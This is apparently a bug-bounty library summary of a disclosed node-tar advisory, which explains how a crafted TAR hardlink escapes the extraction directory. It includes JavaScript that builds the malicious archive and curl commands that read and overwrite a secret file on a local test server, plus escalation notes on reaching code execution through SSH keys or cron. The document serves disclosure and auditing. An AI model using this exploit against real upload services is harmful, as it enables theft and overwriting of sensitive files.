# node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal

node-tar validated hardlink paths relative to the entry's parent dir but created links relative to cwd, letting a crafted TAR hardlink to files outside the extraction directory.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: mistersiddd
- Disclosed: 2026-01-28
- CVE: CVE-2026-24842
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-34x7-hfp2-rc4v
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-34x7-hfp2-rc4v
- Tags: area:oss domain:oss impact:data-leak impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:path-traversal

**Target:** npm tar library hardlink extraction (lib/unpack.js)
**Root cause:** The [STRIPABSOLUTEPATH] security check resolves linkpath against the entry's parent directory, while [HARDLINK] resolves it against this.cwd, so a linkpath with enough ../ passes validation but escapes the extraction root.
**Steps:**
1. Craft TAR with a deep entry path like `a/b/c/d/x` as a hardlink whose linkpath is `../../../../etc/passwd`.
2. Security check joins entryDir `a/b/c/d/` + linkpath, normalizes to `etc/passwd`, no `../` prefix, passes.
3. Hardlink creation resolves `path.resolve(this.cwd, entry.linkpath)` against `/var/app/uploads/`, yielding `/etc/passwd`.
4. `fs.linkSync(linkpath, dest)` creates a hardlink to the outside file inside the extraction dir.
5. If the app serves or later writes to the extracted path, read or overwrite the target file.
**How found:** Reporter noticed the security check and hardlink creation used different path resolution bases (entry dir vs cwd), then crafted a deep entry path to make the same linkpath pass validation yet escape.
**Exploitation:** Attacker uploads a malicious TAR to an app that extracts with node-tar. The hardlink entry escapes to a sensitive file (e.g. secret.txt, ~/.ssh/authorized_keys, cron files). If the app serves extracted files, the attacker reads the target; if the app writes to the extracted path, the attacker overwrites the target, enabling RCE via authorized_keys, cron, shell rc, or app source files.
**Escalation:** Chained read/write of the hardlink with app behavior (file serving or config/log writes) escalates to arbitrary file read/write and RCE via SSH keys, cron, systemd, or web app source.
**Insight:** When auditing archive extractors, compare the base directory used by the validation routine against the base used by the actual filesystem call; a mismatch in resolution roots (entry dir vs cwd) lets deep entry paths absorb traversal sequences that pass the check.

## Proof of concept (copied exactly from the original report)

**Malicious TAR hardlink escaping to secret.txt**

```
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
```

**Vulnerable tar.extract call in upload server**

```
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
```

**Curl commands executing read and write attack**

```
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt
```

